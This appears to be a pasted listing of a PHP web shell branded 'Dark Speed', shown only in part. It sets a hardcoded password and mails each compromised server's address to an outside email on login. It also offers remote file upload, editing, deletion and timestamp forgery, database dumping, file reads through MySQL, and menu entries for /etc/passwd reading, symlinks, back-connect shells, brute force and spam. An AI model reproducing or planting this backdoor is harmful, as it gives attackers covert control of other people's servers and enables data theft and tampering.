Untitled


SUBMITTED BY: Guest

DATE: Jan. 2, 2015, 12:51 p.m.

FORMAT: Text only

SIZE: 171.0 kB

HITS: 946

  1. <?php
  2. error_reporting(7);
  3. @set_magic_quotes_runtime(0);
  4. ob_start();
  5. $mtime = explode(' ',microtime());
  6. $starttime = $mtime[1] +$mtime[0];
  7. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  8. define('IS_WIN',DIRECTORY_SEPARATOR == '\\');
  9. define('IS_COM',class_exists('COM') ?1 : 0 );
  10. define('IS_GPC',get_magic_quotes_gpc());
  11. $dis_func = get_cfg_var('disable_functions');
  12. define('IS_PHPINFO',(!eregi("phpinfo",$dis_func)) ?1 : 0 );
  13. @set_time_limit(0);
  14. foreach(array('_GET','_POST') as $_request) {
  15. foreach($$_request as $_key =>$_value) {
  16. if ($_key{0}!= '_') {
  17. if (IS_GPC) {
  18. $_value = s_array($_value);
  19. }
  20. $$_key = $_value;
  21. }
  22. }
  23. }
  24. $admin = array();
  25. $admin['check'] = true;
  26. $admin['pass'] = 'Dark Speed';
  27. $admin['cookiepre'] = '';
  28. $admin['cookiedomain'] = '';
  29. $admin['cookiepath'] = '/';
  30. $admin['cookielife'] = 86400;
  31. if ($charset == 'utf8') {
  32. header("content-Type: text/html; charset=utf-8");
  33. }elseif ($charset == 'big5') {
  34. header("content-Type: text/html; charset=big5");
  35. }elseif ($charset == 'gbk') {
  36. header("content-Type: text/html; charset=gbk");
  37. }elseif ($charset == 'latin1') {
  38. header("content-Type: text/html; charset=iso-8859-2");
  39. }
  40. $self = $_SERVER['PHP_SELF'] ?$_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  41. $timestamp = time();
  42. if ($action == "logout") {
  43. scookie('kymljnk','',-86400 * 365);
  44. p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
  45. p('<body background=black>');
  46. exit;
  47. }
  48. if($admin['check']) {
  49. if ($doing == 'login') {
  50. if ($admin['pass'] == $password) {
  51. scookie('kymljnk',$password);
  52. $time_shell = "".date("d/m/Y - H:i:s")."";
  53. $ip_remote = $_SERVER["REMOTE_ADDR"];
  54. $from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
  55. $to_email = 'admin@dark-speed.com';
  56. $server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
  57. $linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
  58. $header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
  59. @mail($to_email,$server_mail,$linkcr,$header);
  60. p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
  61. p('<body bgcolor=black>
  62. <BR><BR><div align=center><font color=yellow face=tahoma size=2>Ch&#224;o c&#225;c b&#7841;n nh&#7919;ng th&#224;nh vi&#234;n c&#7911;a >| Dark Speed |< Loading....<BR><img src=http://upanh.biz/images/2014/08/18/loading45.gif><img src=http://i.imgur.com/dmQLXEY.jpg></div>');
  63. exit;
  64. }
  65. else
  66. {
  67. $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Ch&#224;o Hacker C&#243; V&#7867; b&#7841;n Kh&#244;ng Ph&#7843;i L&#224; Th&#224;nh Vi&#234;n C&#7911;Dark Speed. &#272;&#7915;ng C&#7889; G&#7855;ng &#272;&#259;ng Nh&#7853;p</blink><BR></font></div></td></tr></table>';
  68. echo $err_mess;
  69. }}
  70. if ($_COOKIE['kymljnk']) {
  71. if ($_COOKIE['kymljnk'] != $admin['pass']) {
  72. loginpage();
  73. }
  74. }else {
  75. loginpage();
  76. }
  77. }
  78. $errmsg = '';
  79. if ($action == 'phpinfo') {
  80. if (IS_PHPINFO) {
  81. phpinfo();
  82. }else {
  83. $errmsg = 'phpinfo() function has non-permissible';
  84. }
  85. }
  86. if ($doing == 'downfile'&&$thefile) {
  87. if (!@file_exists($thefile)) {
  88. $errmsg = 'The file you want Downloadable was nonexistent';
  89. }else {
  90. $fileinfo = pathinfo($thefile);
  91. header('Content-type: application/x-'.$fileinfo['extension']);
  92. header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  93. header('Content-Length: '.filesize($thefile));
  94. @readfile($thefile);
  95. exit;
  96. }
  97. }
  98. if ($doing == 'backupmysql'&&!$saveasfile) {
  99. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  100. $table = array_flip($table);
  101. $result = q("SHOW tables");
  102. if (!$result) p('<h2>'.mysql_error().'</h2>');
  103. $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
  104. header('Content-type: application/unknown');
  105. header('Content-Disposition: attachment; filename='.$filename);
  106. $mysqldata = '';
  107. while ($currow = mysql_fetch_array($result)) {
  108. if (isset($table[$currow[0]])) {
  109. $mysqldata .= sqldumptable($currow[0]);
  110. }
  111. }
  112. mysql_close();
  113. exit;
  114. }
  115. if($doing=='mysqldown'){
  116. if (!$dbname) {
  117. $errmsg = ' dbname';
  118. }else {
  119. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  120. if (!file_exists($mysqldlfile)) {
  121. $errmsg = 'The file you want Downloadable was nonexistent';
  122. }else {
  123. $result = q("select load_file('$mysqldlfile');");
  124. if(!$result){
  125. q("DROP TABLE IF EXISTS tmp_angel;");
  126. q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  127. q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  128. $result = q("select content from tmp_angel");
  129. q("DROP TABLE tmp_angel");
  130. }
  131. $row = @mysql_fetch_array($result);
  132. if (!$row) {
  133. $errmsg = 'Load file failed '.mysql_error();
  134. }else {
  135. $fileinfo = pathinfo($mysqldlfile);
  136. header('Content-type: application/x-'.$fileinfo['extension']);
  137. header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  138. header("Accept-Length: ".strlen($row[0]));
  139. echo $row[0];
  140. exit;
  141. }
  142. }
  143. }
  144. }
  145. ;echo '<html>
  146. <head>
  147. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  148. <title>';echo "Website : ".$_SERVER['HTTP_HOST']."";;echo ' | ';echo "IP : ".gethostbyname($_SERVER['SERVER_NAME'])."";;echo ' </title>
  149. <style type="text/css">
  150. body,td{font: 10pt Tahoma;color:#00FF00;line-height: 16px;}
  151. a {color: #FFFF00;text-decoration:none;}
  152. a:hover{color: #00FF00;text-decoration:underline;}
  153. .alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(255, 255, 255, 0.12);padding:5px 10px 5px 5px;}
  154. .alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
  155. .focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(255, 0, 0, 0.65);padding:5px 10px 5px 5px;}
  156. .fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(82, 0, 255, 0.37);padding:5px 10px 5px 5px;}
  157. .fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
  158. .head td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(0, 0, 255, 0.65);padding:5px 10px 5px 5px;font-weight:bold;}
  159. .head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
  160. .head td span{font-weight:normal;}
  161. form{margin:0;padding:0;}
  162. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  163. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  164. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  165. input, textarea, button
  166. {
  167. font-size: 9pt;
  168. color: #FFF;
  169. font-family: verdana, sans-serif;
  170. background-color: rgba(255, 0, 0, 0.61);
  171. border-left: 1px solid #74A202;
  172. border-top: 1px solid #74A202;
  173. border-right: 1px solid #74A202;
  174. border-bottom: 1px solid #74A202;
  175. }
  176. select
  177. {
  178. font-size: 8pt;
  179. font-weight: normal;
  180. color: #ccc;
  181. font-family: verdana, sans-serif;
  182. background-color: #202020;
  183. }
  184. </style>
  185. <script type="text/javascript">
  186. function CheckAll(form) {
  187. for(var i=0;i<form.elements.length;i++) {
  188. var e = form.elements[i];
  189. if (e.name != \'chkall\')
  190. e.checked = form.chkall.checked;
  191. }
  192. }
  193. function $(id) {
  194. return document.getElementById(id);
  195. }
  196. function goaction(act){
  197. $(\'goaction\').action.value=act;
  198. $(\'goaction\').submit();
  199. }
  200. </script>
  201. </head>
  202. <body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i.imgur.com/6l8mo3f.jpg>
  203. <div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
  204. <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
  205. <tr>
  206. <td align="center" valign=center>
  207. <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
  208. Dark Speed<img src="http://www.uphinhnhanh.com/images/11loading1.gif.pagespeed.ce.CdG6ANWXLA.gif">
  209. </div>
  210. </td>
  211. </tr>
  212. </table>
  213. </div>
  214. <script>
  215. var ld=(document.all);
  216. var ns4=document.layers;
  217. var ns6=document.getElementById&&!document.all;
  218. var ie4=document.all;
  219. if (ns4)
  220. ld=document.loading;
  221. else if (ns6)
  222. ld=document.getElementById("loading").style;
  223. else if (ie4)
  224. ld=document.all.loading.style;
  225. function init()
  226. {
  227. if(ns4){ld.visibility="hidden";}
  228. else if (ns6||ie4) ld.display="none";
  229. }
  230. </script>
  231. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  232. <tr class="head_small">
  233. <td width=100%>
  234. <table width=100%><tr class="head_small"><td width=86px><p><a title=" .:: Warning ! Shell is used to refer not to hack ::. " href="';$self;;echo '"><img src="http://i.imgur.com/Ktb9WA4.jpg" height=150 width=200></a></p>
  235. </td>
  236. <td>
  237. <span style="float:left;"> ';echo "Hostname: ".$_SERVER['HTTP_HOST']."";;echo ' | Server IP: ';echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";;echo ' | Your IP: ';echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";;echo ' | <a href="https://www.facebook.com/o0o.DarkSpeed6666.o0o" target="_blank">';echo str_replace('.','','Dark Speed profile');;echo ' </a> | <a href="javascript:goaction(\'logout\');"><font color=red>&#272;&#259;ng Xu&#7845;t</font></a></span> <br />
  238. ';
  239. $curl_on = @function_exists('curl_version');
  240. $mysql_on = @function_exists('mysql_connect');
  241. $mssql_on = @function_exists('mssql_connect');
  242. $pg_on = @function_exists('pg_connect');
  243. $ora_on = @function_exists('ocilogon');
  244. echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
  245. echo "PHP version: <b>".@phpversion()."</b> - ";
  246. echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
  247. echo "MySQL: <b>";
  248. $mysql_on = @function_exists('mysql_connect');
  249. if($mysql_on){
  250. echo "<font color=green>ON</font></b> - ";}else {echo "<font color=red>OFF</font></b> - ";}
  251. echo "MSSQL: <b>";
  252. $mssql_on = @function_exists('mssql_connect');
  253. if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
  254. echo "PostgreSQL: <b>";
  255. $pg_on = @function_exists('pg_connect');
  256. if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
  257. echo "Oracle: <b>";
  258. $ora_on = @function_exists('ocilogon');
  259. if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
  260. echo "Disable functions : <b>";
  261. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
  262. echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
  263. echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
  264. ;echo '</td></tr></table></td>
  265. </tr>
  266. <tr class="alt1">
  267. <td width=10%>
  268. <a href="javascript:goaction(\'file\');">Manager</a> |
  269. <a href="javascript:goaction(\'jump\');">Jump</a> |
  270. <a href="javascript:goaction(\'sqladmin\');">SQL</a> |
  271. <a href="javascript:goaction(\'leech\');">Leech</a> ';
  272. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'dumper\');">Dumper</a>';}
  273. ;echo ' | <a href="javascript:goaction(\'md5\');">Md5</a>'
  274. ;echo ' | <a href="javascript:goaction(\'crack\');">Crack</a>';
  275. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'etcpwd\');">/etc/passwd</a> ';}
  276. ;echo ' ';
  277. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'symlink\');">Symlink</a> ';}
  278. ;echo ' ';
  279. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'newcommand\');">Command</a> ';}
  280. ;echo ' ';
  281. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'error.log\');">Cgi</a>';}
  282. ;echo ' ';
  283. if (!IS_WIN) {;echo ' | <a href="error/error.log" target="_blank">Open Cgi</a>';}
  284. ;echo ' ';
  285. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'symroot\');">Root</a>';}
  286. ;echo ' ';
  287. if (!IS_WIN) {;echo ' | <a href="symroot.php" target="_blank">Open Root</a>';}
  288. ;echo ' ';
  289. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'bypass\');">By Pass</a>';}
  290. ;echo ' ';
  291. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'spam\');">Spam</a>';}
  292. ;echo ' ';
  293. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'backconnect\');">Back</a>';}
  294. ;echo ' ';
  295. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'brute\');">Brute</a> ';}
  296. ;echo ' ';
  297. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'command\');">CM</a> ';}
  298. ;echo ' ';
  299. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'handstool\');">Dark Tool</a>';}
  300. echo ' ';
  301. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'scanshell\');">Scan-Shell</a>';}
  302. echo ' ';
  303. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'backphp\');">backphp.php</a>';}
  304. echo ' ';
  305. if (!IS_WIN) {;echo ' | <a href="javascript:goaction(\'indexhands\');">index Dark</a>';}
  306. ;echo '
  307. </td>
  308. </tr>
  309. </table>
  310. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  311. ';
  312. formhead(array('name'=>'goaction'));
  313. makehide('action');
  314. formfoot();
  315. $errmsg &&m($errmsg);
  316. !$dir &&$dir = '.';
  317. $nowpath = getPath(SA_ROOT,$dir);
  318. if (substr($dir,-1) != '/') {
  319. $dir = $dir.'/';
  320. }
  321. $uedir = ue($dir);
  322. if (!$action ||$action == 'file') {
  323. $dir_writeable = @is_writable($nowpath) ?'Writable': 'Non-writable';
  324. if ($doing == 'deldir'&&$thefile) {
  325. if (!file_exists($thefile)) {
  326. m($thefile.' directory does not exist');
  327. }else {
  328. m('X&#243;a Th&#432; m&#7909;c '.(deltree($thefile) ?basename($thefile).' Th&#224;nh C&#244;ng': ' Th&#7845;t B&#7841;i'));
  329. }
  330. }
  331. elseif ($newdirname) {
  332. $mkdirs = $nowpath.$newdirname;
  333. if (file_exists($mkdirs)) {
  334. m('Directory has already existed');
  335. }else {
  336. m('T&#7841;o Th&#432; M&#7909;c '.(@mkdir($mkdirs,0777) ?'Th&#224;nh C&#244;ng': 'Th&#7845;t B&#7841;i'));
  337. @chmod($mkdirs,0777);
  338. }
  339. }
  340. elseif ($doupfile) {
  341. m('T&#7843;i File L&#234;n '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ?'Th&#224;nh C&#244;ng': 'Th&#7845;t B&#7841;i'));
  342. }
  343. elseif ($editfilename &&$filecontent) {
  344. $fp = @fopen($editfilename,'w');
  345. m('T&#7841;o File '.(@fwrite($fp,$filecontent) ?'Th&#224;nh C&#244;ng': 'Th&#7845;t B&#7841;i'));
  346. @fclose($fp);
  347. }
  348. elseif ($pfile &&$newperm) {
  349. if (!file_exists($pfile)) {
  350. m('C&#225;c T&#7879;p Tin G&#7889;c Kh&#244;ng t&#7891;n T&#7841;i');
  351. }else {
  352. $newperm = base_convert($newperm,8,10);
  353. m('Thay &#272;&#7893;i Thu&#7897;c T&#237;nh T&#7879;p Tin '.(@chmod($pfile,$newperm) ?' Th&#224;nh C&#244;ng': ' Th&#7845;t B&#7841;i'));
  354. }
  355. }
  356. elseif ($oldname &&$newfilename) {
  357. $nname = $nowpath.$newfilename;
  358. if (file_exists($nname) ||!file_exists($oldname)) {
  359. m($nname.'C&#225;c T&#7879;p Tin M&#7909;c Ti&#234;u &#272;&#227; T&#7891;n T&#7841;i Ho&#7863;c Kh&#244;ng T&#7891;n T&#7841;i T&#7879;p Tin G&#7889;c');
  360. }else {
  361. m(basename($oldname).' &#272;&#7893;i T&#234;n Th&#224;nh '.basename($nname).(@rename($oldname,$nname) ?' Th&#224;nh C&#244;ng': ' Th&#7845;t B&#7841;i'));
  362. }
  363. }
  364. elseif ($sname &&$tofile) {
  365. if (file_exists($tofile) ||!file_exists($sname)) {
  366. m('The goal file has already existed or original file does not exist');
  367. }else {
  368. m(basename($tofile).' Sao Ch&#233;p '.(@copy($sname,$tofile) ?basename($tofile).' success': 'failed'));
  369. }
  370. }
  371. elseif ($curfile &&$tarfile) {
  372. if (!@file_exists($curfile) ||!@file_exists($tarfile)) {
  373. m('C&#225;c T&#7879;p Tin M&#7909;c Ti&#234;u &#272;&#227; T&#7891;n T&#7841;i Ho&#7863;c Kh&#244;ng T&#7891;n T&#7841;i T&#7879;p Tin G&#7889;c');
  374. }else {
  375. $time = @filemtime($tarfile);
  376. m('S&#7917; &#272;&#7893;i T&#7879;p Tin, S&#7917;a &#272;&#7893;i Cu&#7889;i C&#249;ng '.(@touch($curfile,$time,$time) ?'Th&#224;nh C&#244;ng': 'Th&#7845;t B&#7841;i'));
  377. }
  378. }
  379. elseif ($curfile &&$year &&$month &&$day &&$hour &&$minute &&$second) {
  380. if (!@file_exists($curfile)) {
  381. m(basename($curfile).' Kh&#244;ng T&#7891;n T&#7841;i');
  382. }else {
  383. $time = strtotime("$year-$month-$day $hour:$minute:$second");
  384. m('S&#7917;a &#272;&#7893;i T&#7879;p Tin Cu&#7889;i C&#249;ng '.(@touch($curfile,$time,$time) ?' Th&#224;nh C&#244;ng': 'Th&#7845;t B&#7841;i'));
  385. }
  386. }
  387. elseif($doing == 'downrar') {
  388. if ($dl) {
  389. $dfiles='';
  390. foreach ($dl as $filepath =>$value) {
  391. $dfiles.=$filepath.',';
  392. }
  393. $dfiles=substr($dfiles,0,strlen($dfiles)-1);
  394. $dl=explode(',',$dfiles);
  395. $zip=new PHPZip($dl);
  396. $code=$zip->out;
  397. header('Content-type: application/octet-stream');
  398. header('Accept-Ranges: bytes');
  399. header('Accept-Length: '.strlen($code));
  400. header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
  401. echo $code;
  402. exit;
  403. }else {
  404. m('Please select file(s)');
  405. }
  406. }
  407. elseif($doing == 'delfiles') {
  408. if ($dl) {
  409. $dfiles='';
  410. $succ = $fail = 0;
  411. foreach ($dl as $filepath =>$value) {
  412. if (@unlink($filepath)) {
  413. $succ++;
  414. }else {
  415. $fail++;
  416. }
  417. }
  418. m('X&#243;a Th&#224;nh C&#244;ng '.$succ.' File, Th&#7845;t B&#7841;i '.$fail);
  419. }else {
  420. m('Please select file(s)');
  421. }
  422. }
  423. formhead(array('name'=>'createdir'));
  424. makehide('newdirname');
  425. makehide('dir',$nowpath);
  426. formfoot();
  427. formhead(array('name'=>'fileperm'));
  428. makehide('newperm');
  429. makehide('pfile');
  430. makehide('dir',$nowpath);
  431. formfoot();
  432. formhead(array('name'=>'copyfile'));
  433. makehide('sname');
  434. makehide('tofile');
  435. makehide('dir',$nowpath);
  436. formfoot();
  437. formhead(array('name'=>'rename'));
  438. makehide('oldname');
  439. makehide('newfilename');
  440. makehide('dir',$nowpath);
  441. formfoot();
  442. formhead(array('name'=>'fileopform'));
  443. makehide('action');
  444. makehide('opfile');
  445. makehide('dir');
  446. formfoot();
  447. $free = @disk_free_space($nowpath);
  448. !$free &&$free = 0;
  449. $all = @disk_total_space($nowpath);
  450. !$all &&$all = 0;
  451. $used = $all-$free;
  452. $used_percent = @round(100/($all/$free),2);
  453. p('<font color=yellow face=tahoma size=2><B>Dung L&#432;&#7907;ng C&#7911;a Host</b> </font> Dung L&#432;&#7907;ng &#272;&#227; D&#249;ng <font color=red>'.sizecount($free).'</font> Trong T&#7893;ng <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
  454. ;echo '<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  455. <form action="" method="post" id="godir" name="godir">
  456. <tr>
  457. <td nowrap>&#272;&#432;&#7901;ng D&#7851;n Hi&#7879;n T&#7841;i (';echo $dir_writeable;;echo ', ';echo getChmod($nowpath);;echo ')</td>
  458. <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="';echo $nowpath;;echo '" type="text" style="width:100%;margin:0 8px;"></td>
  459. <td nowrap><input class="bt" value="Th&#7921;c Hi&#7879;n" type="submit"></td>
  460. </tr>
  461. </form>
  462. </table>
  463. <script type="text/javascript">
  464. function createdir(){
  465. var newdirname;
  466. newdirname = prompt(\'directory name:\', \'\');
  467. if (!newdirname) return;
  468. $(\'createdir\').newdirname.value=newdirname;
  469. $(\'createdir\').submit();
  470. }
  471. function fileperm(pfile){
  472. var newperm;
  473. newperm = prompt(\'Current file:\'+pfile+\'\\n new attribute:\', \'\');
  474. if (!newperm) return;
  475. $(\'fileperm\').newperm.value=newperm;
  476. $(\'fileperm\').pfile.value=pfile;
  477. $(\'fileperm\').submit();
  478. }
  479. function copyfile(sname){
  480. var tofile;
  481. tofile = prompt(\'Original file:\'+sname+\'\\n object file (fullpath):\', \'\');
  482. if (!tofile) return;
  483. $(\'copyfile\').tofile.value=tofile;
  484. $(\'copyfile\').sname.value=sname;
  485. $(\'copyfile\').submit();
  486. }
  487. function rename(oldname){
  488. var newfilename;
  489. newfilename = prompt(\'Former file name:\'+oldname+\'\\n new filename:\', \'\');
  490. if (!newfilename) return;
  491. $(\'rename\').newfilename.value=newfilename;
  492. $(\'rename\').oldname.value=oldname;
  493. $(\'rename\').submit();
  494. }
  495. function dofile(doing,thefile,m){
  496. if (m && !confirm(m)) {
  497. return;
  498. }
  499. $(\'filelist\').doing.value=doing;
  500. if (thefile){
  501. $(\'filelist\').thefile.value=thefile;
  502. }
  503. $(\'filelist\').submit();
  504. }
  505. function createfile(nowpath){
  506. var filename;
  507. filename = prompt(\'file name:\', \'\');
  508. if (!filename) return;
  509. opfile(\'editfile\',nowpath + filename,nowpath);
  510. }
  511. function opfile(action,opfile,dir){
  512. $(\'fileopform\').action.value=action;
  513. $(\'fileopform\').opfile.value=opfile;
  514. $(\'fileopform\').dir.value=dir;
  515. $(\'fileopform\').submit();
  516. }
  517. function godir(dir,view_writable){
  518. if (view_writable) {
  519. $(\'godir\').view_writable.value=1;
  520. }
  521. $(\'godir\').dir.value=dir;
  522. $(\'godir\').submit();
  523. }
  524. </script>
  525. ';
  526. tbhead();
  527. p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  528. p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="T&#7843;i L&#234;n" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
  529. p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">L&#234;n &#272;&#7847;u</a>');
  530. if ($view_writable) {
  531. p(' | <a href="javascript:godir(\''.$nowpath.'\');">Hi&#7879;n T&#7845;t C&#7843;</a>');
  532. }else {
  533. p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">Ch&#7881; Hi&#7879;n Th&#432; M&#7909;c</a>');
  534. }
  535. p(' | <a href="javascript:createdir();">T&#7841;o Th&#432; M&#7909;c</a> | <a href="javascript:createfile(\''.$nowpath.'\');">T&#7841;o File</a>');
  536. if (IS_WIN &&IS_COM) {
  537. $obj = new COM('scripting.filesystemobject');
  538. if ($obj &&is_object($obj)) {
  539. $DriveTypeDB = array(0 =>'Unknow',1 =>'Removable',2 =>'Fixed',3 =>'Network',4 =>'CDRom',5 =>'RAM Disk');
  540. foreach($obj->Drives as $drive) {
  541. if ($drive->DriveType == 2) {
  542. p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  543. }else {
  544. p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  545. }
  546. }
  547. }
  548. }
  549. p('</td></tr></form>');
  550. p('<tr class="head"><td>&nbsp;</td><td>T&#234;n File</td><td width="16%">L&#7847;n S&#7917;a Cu&#7889;i C&#249;ng</td><td width="10%">Kick Th&#432;&#7899;c</td><td width="20%">Chmod / Perms</td><td width="22%">C&#224;i &#272;&#7863;t</td></tr>');
  551. $dirdata=array();
  552. $filedata=array();
  553. if ($view_writable) {
  554. $dirdata = GetList($nowpath);
  555. }else {
  556. $dirs=@opendir($dir);
  557. while ($file=@readdir($dirs)) {
  558. $filepath=$nowpath.$file;
  559. if(@is_dir($filepath)){
  560. $dirdb['filename']=$file;
  561. $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  562. $dirdb['dirchmod']=getChmod($filepath);
  563. $dirdb['dirperm']=getPerms($filepath);
  564. $dirdb['fileowner']=getUser($filepath);
  565. $dirdb['dirlink']=$nowpath;
  566. $dirdb['server_link']=$filepath;
  567. $dirdb['client_link']=ue($filepath);
  568. $dirdata[]=$dirdb;
  569. }else {
  570. $filedb['filename']=$file;
  571. $filedb['size']=sizecount(@filesize($filepath));
  572. $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  573. $filedb['filechmod']=getChmod($filepath);
  574. $filedb['fileperm']=getPerms($filepath);
  575. $filedb['fileowner']=getUser($filepath);
  576. $filedb['dirlink']=$nowpath;
  577. $filedb['server_link']=$filepath;
  578. $filedb['client_link']=ue($filepath);
  579. $filedata[]=$filedb;
  580. }
  581. }
  582. unset($dirdb);
  583. unset($filedb);
  584. @closedir($dirs);
  585. }
  586. @sort($dirdata);
  587. @sort($filedata);
  588. $dir_i = '0';
  589. foreach($dirdata as $key =>$dirdb){
  590. if($dirdb['filename']!='..'&&$dirdb['filename']!='.') {
  591. $thisbg = bg();
  592. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  593. p('<td width="2%" nowrap><font face="wingdings" size="3">1</font></td>');
  594. p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
  595. p('<td nowrap>'.$dirdb['mtime'].'</td>');
  596. p('<td nowrap>DarkSpeed</td>');
  597. p('<td nowrap>');
  598. p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
  599. p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
  600. p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'B&#7841;n Ch&#7855;c Ch&#7855;n L&#224; S&#7869; X&#243;a Th&#432; M&#7909;c '.$dirdb['filename'].' ? \\n\\nS&#7869; X&#243;a T&#7845;t C&#7843; C&#225;c File C&#243; Trong Th&#432; M&#7909;c N&#224;y.\')">x&#243;a Th&#432; M&#7909;c</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">&#272;&#7893;i T&#234;n Th&#432; M&#7909;c</a></td>');
  601. p('</tr>');
  602. $dir_i++;
  603. }else {
  604. if($dirdb['filename']=='..') {
  605. p('<tr class=fout>');
  606. p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">L&#234;n Tr&#234;n</a></td>');
  607. p('</tr>');
  608. }
  609. }
  610. }
  611. p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
